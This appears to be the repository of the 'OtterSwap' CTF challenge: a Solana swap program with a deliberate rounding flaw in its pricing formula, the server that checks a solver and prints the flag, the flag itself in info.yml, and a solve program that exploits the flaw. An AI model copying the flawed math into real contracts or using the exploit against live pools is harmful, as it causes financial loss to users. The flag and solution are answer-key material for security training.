} 156 | 157 | #[account] 158 | #[repr(C, align(8))] 159 | #[derive(Default)] 160 | pub struct SwapInfo { 161 | pub pool_a: Pubkey, 162 | pub pool_b: Pubkey, 163 | pub owner: Pubkey, 164 | pub bump: [u8; 1] 165 | } 166 | 167 | impl SwapInfo { 168 | pub fn signer_seeds(&self) -> [&[u8]; 3] { 169 | [ 170 | SWAP_SEED, 171 | self.owner.as_ref(), 172 | self.bump.as_ref() 173 | ] 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /otterswap/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /otterswap/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otterswap/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::{POOL_A_SEED, POOL_B_SEED, SWAP_SEED}; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!(socket, "bad pubkey, got: {} expected: {}", solve_id, valid_pubkey)?; 50 | return Ok(()); 51 | } 52 | 53 | let mut chall = builder.build().await; 54 | 55 | let user_keypair = Keypair::new(); 56 | let user = user_keypair.pubkey(); 57 | 58 | let mint_a = chall.add_mint().await?; 59 | let mint_b = chall.add_mint().await?; 60 | 61 | let program_id = chall_id; 62 | let payer_keypair = &chall.ctx.payer; 63 | let payer = payer_keypair.pubkey(); 64 | let swap = Pubkey::find_program_address(&[SWAP_SEED, payer.as_ref()], &program_id).0; 65 | let pool_a = Pubkey::find_program_address(&[POOL_A_SEED, swap.as_ref()], &program_id).0; 66 | let pool_b = Pubkey::find_program_address(&[POOL_B_SEED, swap.as_ref()], &program_id).0; 67 | 68 | let ix = chall::instruction::Initialize {}; 69 | let ix_accounts = chall::accounts::Initialize { 70 | swap, 71 | pool_a, 72 | pool_b, 73 | mint_a, 74 | mint_b, 75 | payer, 76 | system_program: solana_program::system_program::ID, 77 | token_program: spl_token::ID, 78 | rent: solana_program::sysvar::rent::ID, 79 | }; 80 | 81 | chall 82 | .run_ix(Instruction::new_with_bytes( 83 | program_id, 84 | &ix.data(), 85 | ix_accounts.to_account_metas(None), 86 | )) 87 | .await?; 88 | 89 | chall 90 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 91 | .await?; 92 | 93 | let user_in_account = chall.add_token_account(&mint_a, &user).await?; 94 | let user_out_account = chall.add_token_account(&mint_b, &user).await?; 95 | 96 | let AMT = 10; 97 | 98 | chall.mint_to(AMT, &mint_a, &pool_a).await?; 99 | chall.mint_to(AMT, &mint_b, &pool_b).await?; 100 | 101 | chall.mint_to(AMT, &mint_a, &user_in_account).await?; 102 | 103 | writeln!(socket, "payer: {}", chall.ctx.payer.pubkey())?; 104 | writeln!(socket, "user: {}", user)?; 105 | writeln!(socket, "mint_a: {}", mint_a)?; 106 | writeln!(socket, "mint_b: {}", mint_b)?; 107 | writeln!(socket, "user_in_account: {}", user_in_account)?; 108 | writeln!(socket, "user_out_account: {}", user_out_account)?; 109 | 110 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 111 | let solve_ix = chall.read_instruction(solve_id)?; 112 | 113 | chall 114 | .run_ixs_full( 115 | &[bump_budget, solve_ix], 116 | &[&user_keypair], 117 | &user_keypair.pubkey(), 118 | ) 119 | .await?; 120 | 121 | let in_token_account = chall.read_token_account(user_in_account).await?; 122 | let out_token_account = chall.read_token_account(user_out_account).await?; 123 | 124 | let amt_a = in_token_account.amount; 125 | let amt_b = out_token_account.amount; 126 | 127 | writeln!(socket, "funds 1: {:?}", amt_a)?; 128 | writeln!(socket, "funds 2: {:?}", amt_b)?; 129 | 130 | if amt_a + amt_b == 3 * AMT - 1 { 131 | writeln!(socket, "congrats!")?; 132 | if let Ok(flag) = env::var("FLAG") { 133 | writeln!(socket, "flag: {:?}", flag)?; 134 | } else { 135 | writeln!(socket, "flag not found, please contact admin")?; 136 | } 137 | } 138 | 139 | Ok(()) 140 | } 141 | -------------------------------------------------------------------------------- /otterswap/info.yml: -------------------------------------------------------------------------------- 1 | name: OtterSwap 2 | author: NotDeGhost 3 | description: |- 4 | Otter's are [bad at math](https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/).. 5 | 6 | `nc {{host}} {{port}}` 7 | provide: 8 | - ./chall.tar.gz 9 | flag: flag{l00k_th3_0tt3r_way_z8210} 10 | 11 | -------------------------------------------------------------------------------- /otterswap/test/chall.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chen-robert/paradigm-ctf-2022/38e98d94963d56b459efd96da163c17bd83dc131/otterswap/test/chall.tar.gz -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | let cpi_accounts = chall::cpi::accounts::Swap { 13 | swap: ctx.accounts.swap.clone(), 14 | payer: ctx.accounts.payer.to_account_info(), 15 | pool_a: ctx.accounts.pool_a.to_account_info(), 16 | pool_b: ctx.accounts.pool_b.to_account_info(), 17 | 18 | user_in_account: ctx.accounts.user_in_account.to_account_info(), 19 | user_out_account: ctx.accounts.user_out_account.to_account_info(), 20 | 21 | token_program: ctx.accounts.token_program.to_account_info(), 22 | }; 23 | 24 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 25 | 26 | chall::cpi::swap(cpi_ctx, 10, true)?; 27 | 28 | Ok(()) 29 | } 30 | } 31 | 32 | #[derive(Accounts)] 33 | pub struct Initialize<'info> { 34 | pub swap: AccountInfo<'info>, 35 | #[account(mut)] 36 | pub pool_a: Account<'info, TokenAccount>, 37 | #[account(mut)] 38 | pub pool_b: Account<'info, TokenAccount>, 39 | 40 | #[account(mut)] 41 | pub user_in_account: Account<'info, TokenAccount>, 42 | #[account(mut)] 43 | pub user_out_account: Account<'info, TokenAccount>, 44 | 45 | #[account(mut)] 46 | pub payer: Signer<'info>, 47 | pub token_program: Program<'info, Token>, 48 | 49 | pub chall: Program<'info, chall::program::Chall> 50 | } 51 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otterswap/test/client/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::{POOL_A_SEED, POOL_B_SEED, SWAP_SEED}; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | Ok(ret) 19 | } 20 | 21 | fn main() -> Result<(), Box> { 22 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 23 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 24 | 25 | let mut line = String::new(); 26 | 27 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 28 | 29 | reader.read_line(&mut line)?; 30 | writeln!(stream, "{}", solve::ID)?; 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", so_data.len())?; 33 | stream.write_all(&so_data)?; 34 | 35 | let chall_id = chall::ID; 36 | 37 | let payer = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let _mint_a = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let _mint_b = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user_in_account = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let user_out_account = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | 44 | let ix = solve::instruction::Initialize {}; 45 | let data = ix.data(); 46 | 47 | let swap = Pubkey::find_program_address(&[SWAP_SEED, payer.as_ref()], &chall_id).0; 48 | let pool_a = Pubkey::find_program_address(&[POOL_A_SEED, swap.as_ref()], &chall_id).0; 49 | let pool_b = Pubkey::find_program_address(&[POOL_B_SEED, swap.as_ref()], &chall_id).0; 50 | 51 | let ix_accounts = solve::accounts::Initialize { 52 | swap, 53 | pool_a, 54 | pool_b, 55 | user_in_account, 56 | user_out_account, 57 | payer: user, 58 | token_program: spl_token::ID, 59 | chall: chall_id, 60 | }; 61 | 62 | let metas = ix_accounts.to_account_metas(None); 63 | 64 | reader.read_line(&mut line)?; 65 | writeln!(stream, "{}", metas.len())?; 66 | for meta in metas { 67 | let mut meta_str = String::new(); 68 | meta_str.push('m'); 69 | if meta.is_writable { 70 | meta_str.push('w'); 71 | } 72 | if meta.is_signer { 73 | meta_str.push('s'); 74 | } 75 | meta_str.push(' '); 76 | meta_str.push_str(&meta.pubkey.to_string()); 77 | 78 | writeln!(stream, "{}", meta_str)?; 79 | stream.flush()?; 80 | } 81 | 82 | reader.read_line(&mut line)?; 83 | writeln!(stream, "{}", data.len())?; 84 | stream.write_all(&data)?; 85 | 86 | stream.flush()?; 87 | 88 | line.clear(); 89 | while reader.read_line(&mut line)? != 0 { 90 | print!("{}", line); 91 | line.clear(); 92 | } 93 | 94 | Ok(()) 95 | } 96 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | CMD [ "./target/release/framework" ] 18 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | 5 | pub use anchor_lang; 6 | pub use anchor_spl; 7 | 8 | pub const SWAP_SEED: &[u8] = b"swap"; 9 | pub const POOL_A_SEED: &[u8] = b"poolA"; 10 | pub const POOL_B_SEED: &[u8] = b"poolB"; 11 | 12 | declare_id!("Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS"); 13 | 14 | #[program] 15 | pub mod chall { 16 | use super::*; 17 | 18 | pub fn initialize(ctx: Context) -> Result<()> { 19 | let swap = &mut ctx.accounts.swap; 20 | 21 | swap.owner = ctx.accounts.payer.key(); 22 | swap.pool_a = ctx.accounts.pool_a.key(); 23 | swap.pool_b = ctx.accounts.pool_b.key(); 24 | swap.bump = [*ctx.bumps.get("swap").unwrap()]; 25 | 26 | Ok(()) 27 | } 28 | 29 | pub fn swap(ctx: Context, amount: u64, a_to_b: bool) -> Result<()> { 30 | let swap = &ctx.accounts.swap; 31 | let pool_a = &mut ctx.accounts.pool_a; 32 | let pool_b = &mut ctx.accounts.pool_b; 33 | let user_in_account = &ctx.accounts.user_in_account; 34 | let user_out_account = &ctx.accounts.user_out_account; 35 | 36 | let (in_pool_account, out_pool_account) = if a_to_b { (pool_a, pool_b) } else { (pool_b, pool_a) }; 37 | 38 | let x = in_pool_account.amount; 39 | let y = out_pool_account.amount; 40 | 41 | let out_amount = y - (x * y) / (x + amount); 42 | 43 | assert!(in_pool_account.mint == user_in_account.mint); 44 | assert!(out_pool_account.mint == user_out_account.mint); 45 | 46 | let in_ctx = CpiContext::new( 47 | ctx.accounts.token_program.to_account_info(), 48 | Transfer { 49 | from: ctx.accounts.user_in_account.to_account_info(), 50 | to: in_pool_account.to_account_info(), 51 | authority: ctx.accounts.payer.to_account_info() 52 | } 53 | ); 54 | let out_ctx = CpiContext::new( 55 | ctx.accounts.token_program.to_account_info(), 56 | Transfer { 57 | from: out_pool_account.to_account_info(), 58 | to: ctx.accounts.user_out_account.to_account_info(), 59 | authority: ctx.accounts.swap.to_account_info() 60 | } 61 | ); 62 | 63 | token::transfer(in_ctx, amount)?; 64 | let signer = [&swap.signer_seeds()[..]]; 65 | token::transfer(out_ctx.with_signer(&signer), out_amount)?; 66 | 67 | in_pool_account.reload()?; 68 | out_pool_account.reload()?; 69 | 70 | assert!(in_pool_account.amount == x + amount); 71 | assert!(out_pool_account.amount == y - out_amount); 72 | 73 | Ok(()) 74 | } 75 | } 76 | 77 | #[derive(Accounts)] 78 | pub struct Initialize<'info> { 79 | #[account( 80 | init, 81 | seeds = [ SWAP_SEED, payer.key().as_ref() ], 82 | bump, 83 | payer = payer, 84 | space = 1000 85 | )] 86 | pub swap: Account<'info, SwapInfo>, 87 | 88 | #[account(init, 89 | seeds = [ POOL_A_SEED, swap.key().as_ref() ], 90 | bump, 91 | payer = payer, 92 | token::mint = mint_a, 93 | token::authority = swap 94 | )] 95 | pub pool_a: Account<'info, TokenAccount>, 96 | 97 | #[account(init, 98 | seeds = [ POOL_B_SEED, swap.key().as_ref() ], 99 | bump, 100 | payer = payer, 101 | token::mint = mint_b, 102 | token::authority = swap 103 | )] 104 | pub pool_b: Account<'info, TokenAccount>, 105 | 106 | #[account(constraint = mint_a.key() != mint_b.key())] 107 | pub mint_a: Account<'info, Mint>, 108 | #[account(constraint = mint_b.key() != mint_a.key())] 109 | pub mint_b: Account<'info, Mint>, 110 | 111 | #[account(mut)] 112 | pub payer: Signer<'info>, 113 | pub system_program: Program<'info, System>, 114 | pub token_program: Program<'info, Token>, 115 | pub rent: Sysvar<'info, Rent>, 116 | } 117 | 118 | #[derive(Accounts)] 119 | pub struct Swap<'info> { 120 | #[account( 121 | has_one = pool_a, 122 | has_one = pool_b, 123 | seeds = [ SWAP_SEED, swap.owner.as_ref() ], 124 | bump = swap.bump[0] 125 | )] 126 | pub swap: Account<'info, SwapInfo>, 127 | 128 | #[account(mut, 129 | seeds = [ POOL_A_SEED, swap.key().as_ref() ], 130 | bump, 131 | token::authority = swap 132 | )] 133 | pub pool_a: Account<'info, TokenAccount>, 134 | 135 | #[account(mut, 136 | seeds = [ POOL_B_SEED, swap.key().as_ref() ], 137 | bump, 138 | token::authority = swap 139 | )] 140 | pub pool_b: Account<'info, TokenAccount>, 141 | 142 | #[account(mut, 143 | constraint = user_in_account.owner == payer.key() 144 | )] 145 | pub user_in_account: Account<'info, TokenAccount>, 146 | 147 | #[account(mut, 148 | constraint = user_out_account.owner == payer.key() 149 | )] 150 | pub user_out_account: Account<'info, TokenAccount>, 151 | 152 | #[account(mut)] 153 | pub payer: Signer<'info>, 154 | pub token_program: Program<'info, Token>, 155 | } 156 | 157 | #[account] 158 | #[repr(C, align(8))] 159 | #[derive(Default)] 160 | pub struct SwapInfo { 161 | pub pool_a: Pubkey, 162 | pub pool_b: Pubkey, 163 | pub owner: Pubkey, 164 | pub bump: [u8; 1] 165 | } 166 | 167 | impl SwapInfo { 168 | pub fn signer_seeds(&self) -> [&[u8]; 3] { 169 | [ 170 | SWAP_SEED, 171 | self.owner.as_ref(), 172 | self.bump.as_ref() 173 | ] 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otterswap/test/client/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::{POOL_A_SEED, POOL_B_SEED, SWAP_SEED}; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = 